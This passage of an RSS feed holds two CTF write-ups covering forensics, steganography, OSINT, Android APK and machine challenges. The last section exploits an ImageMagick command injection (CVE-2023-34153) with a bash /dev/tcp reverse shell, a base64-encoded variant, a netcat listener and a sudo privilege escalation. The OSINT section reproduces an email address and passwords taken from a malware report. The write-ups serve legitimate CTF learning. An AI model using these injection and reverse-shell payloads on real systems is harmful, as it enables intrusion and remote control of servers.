src="https://cdn-images-1.medium.com/max/1024/1*adAXN1nsAr2HE1YdUKOoSA.png" /></figure><p>My luck was here the image I started with I named (image1.jpg) had the above things</p><p>I took this string to cyberchef From Base64 and then from hex</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*x2xcjUHz3RVF7le_Dqp0HQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*STEIGCfqWOWP9IP2dR0CWw.png" /></figure><p>and I found a string with the name flag.txt but something was wrong here.</p><p>At this point, it took me about 30 minutes so I thought that there was something wrong with the base64.</p><p>Yes I was right<br>I returned to this image and tried to see strings from it and I didn’t find this base64.<br> I found it from the online tool so I remembered that the strings tool has option -a which extracts all data from the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dF5oG-f7pZwOZOD9RuTBnQ.png" /><figcaption>syntax from strings help</figcaption></figure><pre>strings -a image1.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lASE1ErXYDDa5yIZlWPKTg.png" /></figure><p>We found the correct base64 string</p><pre>NTI2MTcyMjExYTA3MDEwMDMzOTJiNWU1MGEwMTA1MDYwMDA1MDEwMTgwODAwMGI5ZTJiMzllNTcw<br>MjAzCjNjYjAwMDA0OWMwMGE0ODMwMmMxOGViN2Q0ODAwMzAxMDg0NjZjNjE2NzJlNzQ3ODc0MzAw<br>MTAwMDMwZgo3OWIwM2QyZGM5NTk2MzY5YWRmYTE5OWNiOWMxODdiNjc4MWQ2YzIwNTEzYzhiMmFh<br>MDM3OGQ4NTRkMzYKMGJlYjFmMDAzYTZmYmQ1YzM4Y2M5NzM0OTBjZjBhMDMxMzQ4YzNkYzY1OTE2<br>NGEwMzQ2OWU3MWM0ZGE1CjU3MmJmNGE4YjhiNWEzOWRkYWFjNzFjZGQ0YzM1MWY1NGYxNDNiZTUy<br>OTFkMDI0YjA0ZDViOTJlNTAwYQpjMjliOWJlNWQ3NjQ3Mzc3YWM4NmFlNmE5YzFkNzc1NjUxMDMw<br>NTA0MDAK</pre><p>Decoding it with the base64 online decoder we found a .rar file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nSWBqW5ZsM9DB2vKdKeLmQ.png" /></figure><p>exporting it as file.rar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*awnytqnvZOzt9hC-3lxilQ.png" /></figure><p>we found a flag.txt file and There is a password needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bx_JFJ6v5bYhWiPVZiDPYQ.png" /></figure><p>We gave it the password we found above (!!@@##$$fabcAA)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rEITcZ2iEePBrDUo3dSC1g.png" /></figure><pre>flag: ZiChmp{3@5Y_@5_!T_!5_CH@mP}</pre><p><em>+ — — — — — — — — + — — — — — — — -+ — — — — + — — — — — — — — + — — — — — —</em></p><blockquote><strong><em>Challenge</em></strong><em>: </em>Mosaic Reconnaissance<br><strong><em>Category: </em></strong><em>Forensics<br></em><strong><em>difficulty: </em></strong><em>Medium</em></blockquote><p>You can find the challenge file <a href="https://zisoft-videos.s3.eu-west-1.amazonaws.com/CTF/Mosaic+Reconnaissance.zip">Here</a></p><p>At this challenge, we got a file with the name Mosaic+Reconnaissance.zip.<br>After extraction, we got a file with the name Junk containing 961 files with strange names</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kAIOaCHMUNA7HSF3xZJRhA.png" /></figure><p>we found the images, so we started to look at them images one by one but we found parts of something that looked like a flag in some images</p><p>After we collected these images we couldn’t collect the flag from them so we started to think differently.</p><p>At first, we tried to check the differences between the names of these images and we tried to take some of these images to a cyberchef and we got that the names of the images were base64 encoded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lrsxw9HbeFpa0-mG8dHshA.png" /></figure><p>From here we concluded that these are small parts of a big image and each image name is base64 encoded and the name after decode represents the part placed in the big image</p><p>Looks like it is a Puzzle !!!!!!!!</p><p>At first, we need to decode the name of images and rename them with the decoded string</p><p>We can do this with bash one line</p><pre>for file in $(ls); do mv &quot;$file&quot; &quot;$(echo $file | base64 -d)&quot;; done  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9lDnTkjj7JO-vcywu-vUbA.png" /></figure><p>There are the images after we renamed them.</p><p>Now we need to collect these small images together to make a big one</p><p>At this point, I knew the concept so I started to ask Chatgpt for help to save some time in the CTF</p><p>Chatgpt gave me the base code after many trials with it, i made my modifications, and the final code I used is</p><pre>from PIL import Image<br><br># Load small images<br>images = []<br>for i in range(961):<br>    img_path = f&quot;part_{i}.png&quot;<br>    img = Image.open(img_path)<br>    images.append(img)<br><br># Calculate the size of the combined image<br>widths, heights = zip(*(img.size for img in images))<br>max_width = max(widths)<br>max_height = max(heights)<br>total_width = max_width * 31<br>total_height = max_height * 31<br><br># Create a new image with a white background<br>combined_img = Image.new(&#39;RGB&#39;, (total_width, total_height), (255, 255, 255))<br><br># Paste small images into the combined image<br>x_offset = 0<br>y_offset = 0<br>for img in images:<br>    combined_img.paste(img, (x_offset, y_offset))<br>    x_offset += max_width<br>    if x_offset &gt;= total_width:<br>        x_offset = 0<br>        y_offset += max_height<br><br># Save the combined image<br>combined_img.save(&#39;combined_image.png&#39;)</pre><p>Finally, I got the combined_image.png</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*DyJ3tVhzgLNuTxADiphsPw.png" /></figure><p>The flag is not here 🥵🥵🥵</p><p>I tried with the Stegsolve tool to play with the layers of the image and</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WDBz1xlGov5oUaDSmAgbyQ.png" /></figure><p>Finally, we got the flag</p><pre>flag: ZiChmp{1_Th0g5t_15!5_W!lL_K33P_1T_H!dd3n}</pre><p><em>+ — — — — — — — — + — — — — — — — -+ — — — — + — — — — — — — — + — — — — — —</em></p><blockquote><strong><em>Challenge</em></strong><em>: </em>FreeM3<br><strong><em>Category: s</em></strong><em>teganography<br></em><strong><em>difficulty: Hard</em></strong></blockquote><p>You can find the challenge file H<a href="https://zisoft-videos.s3.eu-west-1.amazonaws.com/CTF/FreeM3.zip">ere</a></p><p>In this challenge, we got a file with the name FreeM3.zip <br>After We extract the files in it, We will find two tar files File1.tar &amp; File2.tar</p><p>let’s extract files in these two tar files with the following command</p><pre>tar xf $FileName</pre><p>After we extracted File1.tar we got two jpg images with names 300.jpg and 301.jpg</p><p>After we extracted File2.tar we got a new tar with the name 999.tar and after we tried to extract it again we got 998 and so on ….</p><p>so we need to extract tar files from 999 to 0 we can do this using a simple bash one line</p><pre>for i in $(seq 999 -1 0); do tar -xvf &quot;$i.tar&quot;; done</pre><p>When the bash line finished, we got the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*nrArCk87PziC8bbgnd_gYw.png" /></figure><p>File with name No0o.tar</p><p>After we extracted what was in it we got a file with the name Noo.txt</p><p>We found that Noo.txt is a zip file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1rjpE3Atq3zbI36kb6pjOA.png" /></figure><p>After we renamed the file to Noo.zip we tried to open it and we found that the zip file needed a password</p><p>We tried to crack it with John but we could not crack it</p><p>so the two images 300.jpg &amp; 301.jpg may have the password</p><p>we start with traditional steps like ExifTool, binwalk, strings…etc <br>but we found nothing and unfortunately, the time of the CTF finished</p><p>After the CTF finished I asked the author for a hint and he told me to compare strings of the images</p><p>After I returned home I asked Google for a tool to compare the strings of two images and I got a tool on Linux called <strong>diff.</strong></p><p>I saved the content of 300.jpg to file1.txt and 301.jpg to file2.jpg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*kUwKfckcBMolGCcaINDc6Q.png" /></figure><p>then I compared them with diff &amp; it looks like a base64 encoded string</p><p>I concatenated them and then decoded them as base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rePdTK6aphsgxv1JNW5Mag.png" /></figure><p>Now we have the password.</p><pre>Z!Ch@mp!0Ns3cUr3P@55</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V6GMkzrxmdOqY7lZXQZPMQ.png" /></figure><p>we can extract a file with the name NotaFlag.txt</p><p>I tried to extract the content and I found the NotaFlag.txt file contains many spaces</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SBL1cxSssyqqZ71vRre8xQ.png" /></figure><p>I know this type of encoding is called (whitespace encoding) this type of encoding uses the tab “\t” to represent 1 in binary and uses the space to represent ‘0’ so I wrote a simple Python script to do this process for us.</p><pre>import sys<br><br>input_file = sys.argv[1]<br>output_file = &quot;output.txt&quot;<br><br>with open(input_file, &#39;r&#39;) as infile:<br>    with open(output_file, &#39;w&#39;) as outfile:<br>        for line in file:<br>            replaced_line = line.replace(&#39;\t&#39;, &#39;1&#39;).replace(&#39; &#39;, &#39;0&#39;)<br>            outfile.write(replaced_line)<br><br>print(f&quot;{output_file}&quot;)</pre><p>After we ran this code we got a file with the name output.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uhdl_fI9j-Mrv1l9WTwZAw.png" /></figure><pre>010110100110100101000011011010000110110101110000011110110101100100110000011101010101111101010100011010000011000101101110011010110101111101011001001100000111010101011111010000110100000000110100010111110100001000110011001100100101010001011111010011010011001101011111001100000110100001001000010111110101100100110000011101010101111101000100001000010100010001111101</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1zS_rq5LrQoBT8UMJagwzQ.png" /></figure><p>From binary, we got the flag .</p><pre>flag: ZiChmp{Y0u_Th1nk_Y0u_C@4_B32T_M3_0hH_Y0u_D!D}</pre><p>Finally, I want to Thank my Teammate <a href="https://www.linkedin.com/in/mahmoud-hashad-310969254/overlay/about-this-profile/">Mahmoud Hashad</a> we solved all These forensics challenges together step by step ❤️</p><p>And I want to thank all my team friends for their hard work ❤️❤️</p><p>Thanks for your time and effort. I hope you liked and enjoyed reading it. ❤️❤️</p><p>If you have any comments, edits, or another way to solve them, don’t hesitate to contact me:</p><p><a href="https://www.linkedin.com/in/ahmed-ghanem-cs/">https://www.linkedin.com/in/ahmed-ghanem-cs/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20e0c19c8b6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Arab Regional Cybersecurity CTF 2023 Challenges -OSINT-Mobile-Machines Writeup]]></title>
            <link>https://0xmr8anem.medium.com/arab-regional-cybersecurity-ctf-2023-challenges-osint-mobile-machines-writeup-40361b678611?source=rss-d899a329dd0f------2</link>
            <guid isPermaLink="false">https://medium.com/p/40361b678611</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[mobile-forensic]]></category>
            <category><![CDATA[osint-investigation]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Ahmed Ghanem]]></dc:creator>
            <pubDate>Sat, 21 Oct 2023 19:52:41 GMT</pubDate>
            <atom:updated>2024-03-05T19:51:18.289Z</atom:updated>
            <content:encoded><![CDATA[<h3>Arab Regional Cybersecurity CT F 2023 Challenges -OSINT-Mobile-Machines Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4LBV3YO8tZybN1zLl8Kz0g.png" /></figure><p><em>— — — — — — — — + — — — — — — — -+ — — — — +<br>| Challenge ===| Category | Points |<br>+ — — — — — — — — + — — — — — — — -+ — — — — +<br>| </em><a href="https://cybertalents.com/competitions/arab-regional-cybersecurity-ctf-2023/mission-impossible-1">Mission Impossible</a> <em>| Osint | 200 |<br>| ِAct | Mobile | 50 |<br>| </em><a href="https://cybertalents.com/competitions/arab-regional-cybersecurity-ctf-2023/gif-mak3r">GIF Mak3R</a> <em>| Machine | 50 |<br>+ — — — — — — — — + — — — — — — — -+ — — — — +</em></p><h3>let’s start with :</h3><blockquote><a href="https://cybertalents.com/competitions/arab-regional-cybersecurity-ctf-2023/mission-impossible-1"><strong>Mission Impossible</strong></a></blockquote><blockquote><strong>Points:</strong> 200</blockquote><p>Description :</p><pre>In June 2013, <br>cybercriminals began launching DDoS attacks against government websites.<br>Recently, they resurfaced under a new name, Operation Troy.<br>The APT group accidentally released a significant and sensitive document about themselves.<br> We attempted to search for it online,<br> but it seems the website where they uploaded it isn&#39;t searchable.<br> We require your assistance in locating this document so that we can access the information we need.</pre><p>— From the description we got that the cyber-criminals name is “Operation Troy” and the have crime in 2013 DDOS attack</p><p>now let’s google about</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mx8SKC4az1mV9MgZro8Wng.png" /></figure><p>we will find the following article from <a href="https://en.wikipedia.org/wiki/Lazarus_Group"><strong>wikipedia</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oF9EvFUICKWA4bVkj80z_g.png" /></figure><p>now we know that the cyber criminals is “<strong>Lazarus group” and the old name is “Darkseoul”</strong></p><p>from the description there is a documentation accidentally released about APT group (<strong>Lazarus group</strong>)</p><pre>The APT group accidentally released a significant and sensitive document about themselves</pre><p>at this time hint released</p><pre> `Mission Impossible`<br>If you got the document from the largest collection of malware source code, samples, and papers site on the internet. use it wisely.</pre><p>ok let’s find the largest collection of malware source code on the internet<br>after search, i found the following GitHub repository called : <a href="https://github.com/vxunderground">vxunderground</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZGV2YZqXKRi4k1-IMedeg.png" /></figure><p>the github repository has collection of malware source code, samples, and papers as in the Description</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qXvJWI-fiTflOBU-7lN-Vg.jpeg" /></figure><p>Yes, I am in the right way</p><p>they have a large database of malwares with documentations and source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cryKQi3KRe-paBpiHMlH0w.png" /></figure><p>let’s search for things in 2013</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gya25xpx29ToZDfQy4UrEw.jpeg" /></figure><p>after opening Operation Troy <br>we will find the samples with the documentation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q1lEvFlYqKd0kalF3WAaMg.png" /></figure><p>Now we need the documentation of <a href="https://samples.vx-underground.org/root/APTs/2013/2013.03.20%20-%20Operation%20Troy/Paper/Operation%20Troy.pdf">Operation Troy</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kn_dVNlRJXFFhjXNl1lRQw.jpeg" /></figure><p>The Documentation is 29 pages and contains many information <br>After a long search in the documentation I found a section called <strong>analysis containing “</strong>calling card a day after the attacks in the form of a web pop-up message”<strong><br></strong>and there is an email and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*3GuL9E2dHSEKQOntmTSWJQ.jpeg" /></figure><p><strong>“</strong><a href="/service/mailto:joseph.r.ulatoski@gmail.com">joseph.r.ulatoski@gmail.com</a>::lqaz@WSX3edc$RFV”<br>for pastepin.com and www.dropbox.com these credentials did not work for both</p><p>so let’s do username enumeration using <a href="https://github.com/sherlock-project/sherlock"><strong>sherlock osint tool</strong></a><strong><br></strong>username: “<a href="/service/mailto:joseph.r.ulatoski@gmail.com">joseph.r.ulatoski</a>”</p><pre>python3 sherlock.py joseph.r.ulatoski</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*Nf-FRoN7WpdAIHdb9I1a5w.png" /></figure><p>this username “joseph.r.ulatoski” has many social accounts <br>let’s check them one by one in our browser</p><p>The <a href="https://bitcoinforum.com/profile/joseph.r.ulatoski">first bitcoin forum link</a> was very attractive due to date of creation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9JrysqeyyPdkYpHZFD33w.png" /></figure><p>then show posts we will found a post contain a <a href="https://pastebin.com/wkxJmxnW">pastbin link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7VzRQ8UZycp8JVSA55ibSw.png" /></figure><p>I found that Pastebin needs a password so I tried the password found with the email “lqaz@WSX3edc$RFV” but not work so</p><p>I remembered that I found the encryption password in the documentation on page 28 “dkwero38oerA^t@#”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*2DSeXH9cNdFryDn4au1-Lg.png" /></figure><p>The password didn’t work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*olrB74bwno1IWyIBlBguMQ.gif" /></figure><p>so I returned back to the PDF searching for the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pkHRjOCLTUQWkWaYffMDHw.png" /></figure><p>and found that the password needs “.” at the end so <br>The correct password is “dkwero38oerA^t@#.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8F_YVc68Pdwb7PfRhgenxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*lYRlEOkAWA2IYNa7HzA24A.gif" /></figure><p>After Hard work got the Flag :</p><pre><br>Flag{FR13ND5_R41lY1NG_3VERY0N3_EMBR4C1N9_P34CE_4DV0C473_L0U61Y_3XPRE551N9_S01iDAR17Y</pre><p>****************************************************************************</p><h3>The second Challenge :</h3><blockquote><strong>Act</strong></blockquote><blockquote><strong>mobile : 50 points</strong></blockquote><p>Description :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uhpbYF2KfjYTvZ9_cPLT0Q.jpeg" /><figcaption>i can’t remember is it java or javascript</figcaption></figure><p>I started with static analysis to the ‘act.apk’ file with strings</p><pre>strings act.apk </pre><p>I found that there are names of files with extensions .xml &amp; .png</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*G_OVh7LwqaNqYYpVKHWGIg.png" /></figure><p>so I tried to extract these files using binwalk &amp; foremost tools</p><pre>binwalk -e act.apk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wuy4oDb1U6tw88wnUP-T8Q.png" /></figure><p>now we need to know <a href="https://www.appdome.com/how-to/devsecops-automation-mobile-cicd/appdome-basics/structure-of-an-android-app-binary-apk/">apk file Structure</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*V9piao2fA_nUeZsJUmqqWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*8dL5ewzhKXACoGmSVOnaIQ.png" /></figure><p>From the description, I saw that he asked for javascript code <br>so let’s look at assets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*aw4Pxic4Cu5yhFKJjkDmBw.png" /></figure><p>index.android.bundle is <strong>the JavaScript bundle file<br></strong>lets use strings for common words to get the flag</p><pre>strings * | grep -i flag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QfJ4Qf8U5fjRaA126iG_Gw.png" /></figure><p>yes that is the javascript code,<br>I found in “index.android.bundle” file contains interesting flags <br>so let’s copy js code and open it in <a href="https://beautifier.io/">Online JavaScript beautifier</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a2OB_cJ5RBNsGrU8H4PFwA.png" /></figure><p>I found the following :</p><pre> ‘flag{N0t_Th4t_E4sy}’)(“616b66607c37333662363f3036613f3765643f3f663366306161643335613632653e653f667a”)</pre><p>I tried “flag{N0t_Th4t_E4sy}” as a flag but it was wrong <br>so let’s use the cyberchef with the hex near the flag</p><p>“616b66607c37333662363f3036613f3765643f3f663366306161643335613632653e653f667a” + magic + intensive mode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFIIkX_DjFkaR6Feu4fUrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*9bWNUoBIghlblQgP4awscw.gif" /></figure><p>finally got the flag “flag{041e1871f80bc88a4a7ffc42f15b9b8a}”</p><p>****************************************************************************</p><h4>The Third Challange</h4><blockquote><a href="https://cybertalents.com/competitions/arab-regional-cybersecurity-ctf-2023/gif-mak3r"><strong>GIF Mak3R</strong></a></blockquote><blockquote><strong>machine : 50 points</strong></blockquote><p><strong>The challenge was about </strong><a href="https://github.com/ImageMagick/ImageMagick/issues/6338"><strong>CVE-2023–34153</strong></a></p><p>The vulnerability is at <strong>ImageMagick version 7.1.0–1</strong></p><p>at option “pixel-formate” when we upload a file to convert</p><p>the following command runs on the back-end server</p><pre>➜ magick convert -define video:pixel-format=&#39;rgba&quot;`cat test.txt &gt; /tmp/leak3.txt`&quot;&#39; smile.gif smile.mov</pre><p>that converts the uploaded gif file to .mov file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cEhxlRnXL54HadxCA7VaNA.png" /></figure><p>so we can add our reverse shell code in the following format :</p><pre>rgba&quot;`cat test.txt &gt; /tmp/leak3.txt`</pre><p>from the errors in the website during testing I found “/tmp/file” so I thought it was Linux server</p><p>i made the following bash reverse shell</p><pre>bash -i &gt;&amp; /dev/tcp/255.255.255.255/5555 0&gt;&amp;1<br></pre><p>but i used base64 encoding to avoid errors</p><pre>rgba&quot;`echo ImJhc2ggLWkgPiYgL2Rldi90Y3AvMTY1LjIzMi4xODAuNzkvNTU1NSAwPiYxIg== | base64 -d | bash`&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*FxuC29LKgpej6-DMKJ_3vw.jpeg" /></figure><p>then i made a listener on my vps</p><pre>nc -nlvp &lt;port&gt;</pre><p>Then run convert in the website —&gt; i got reverse shell on my vps</p><p><strong>unfortunately i forget to take screen shots from my vps when the challenge was running</strong></p><p>then we need to privilege escalation <br>it was so easy “sudo -l ”</p><p>Found <strong>neofetch </strong>any user can run as root with sudo <br>using gitfobins <a href="https://gtfobins.github.io/gtfobins/neofetch/">https://gtfobins.github.io/gtfobins/neofetch/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eQuPTNoCv1mj2bgTa2yX3w.png" /></figure><p>using the above commands got the root shell <br>And the flag found at “/root/flag.txt”</p><p>Thanks for your time and effort to read this. I hope you liked and enjoyed reading it.</p><p>you can find web &amp; forensics writeups in the following links written by my team friends :</p><ul><li><a href="https://itsahmedatef.medium.com/arab-regional-cybersecurity-ctf-2023-web-challenges-and-one-reverse-writeup-3e14528ac0a9">Arab Regional Cybersecurity CTF 2023 — Web Challenges and One Reverse Writeup</a></li><li><a href="https://0x4de1.medium.com/arab-regional-cybersecurity-ctf-2023-hard-forensics-challenge-writeup-79345122c54a">Arab Regional Cybersecurity CTF 2023 Hard Forensics Challenge Writeup</a></li></ul><p>If you have any comments, edits, or another way to solve them, don’t hesitate to contact me:</p><p><a href="https://www.linkedin.com/in/ahmed-ghanem-a68b75240/">https://www.linkedin.com/in/ahmed-ghanem-a68b75240/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40361b678611" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>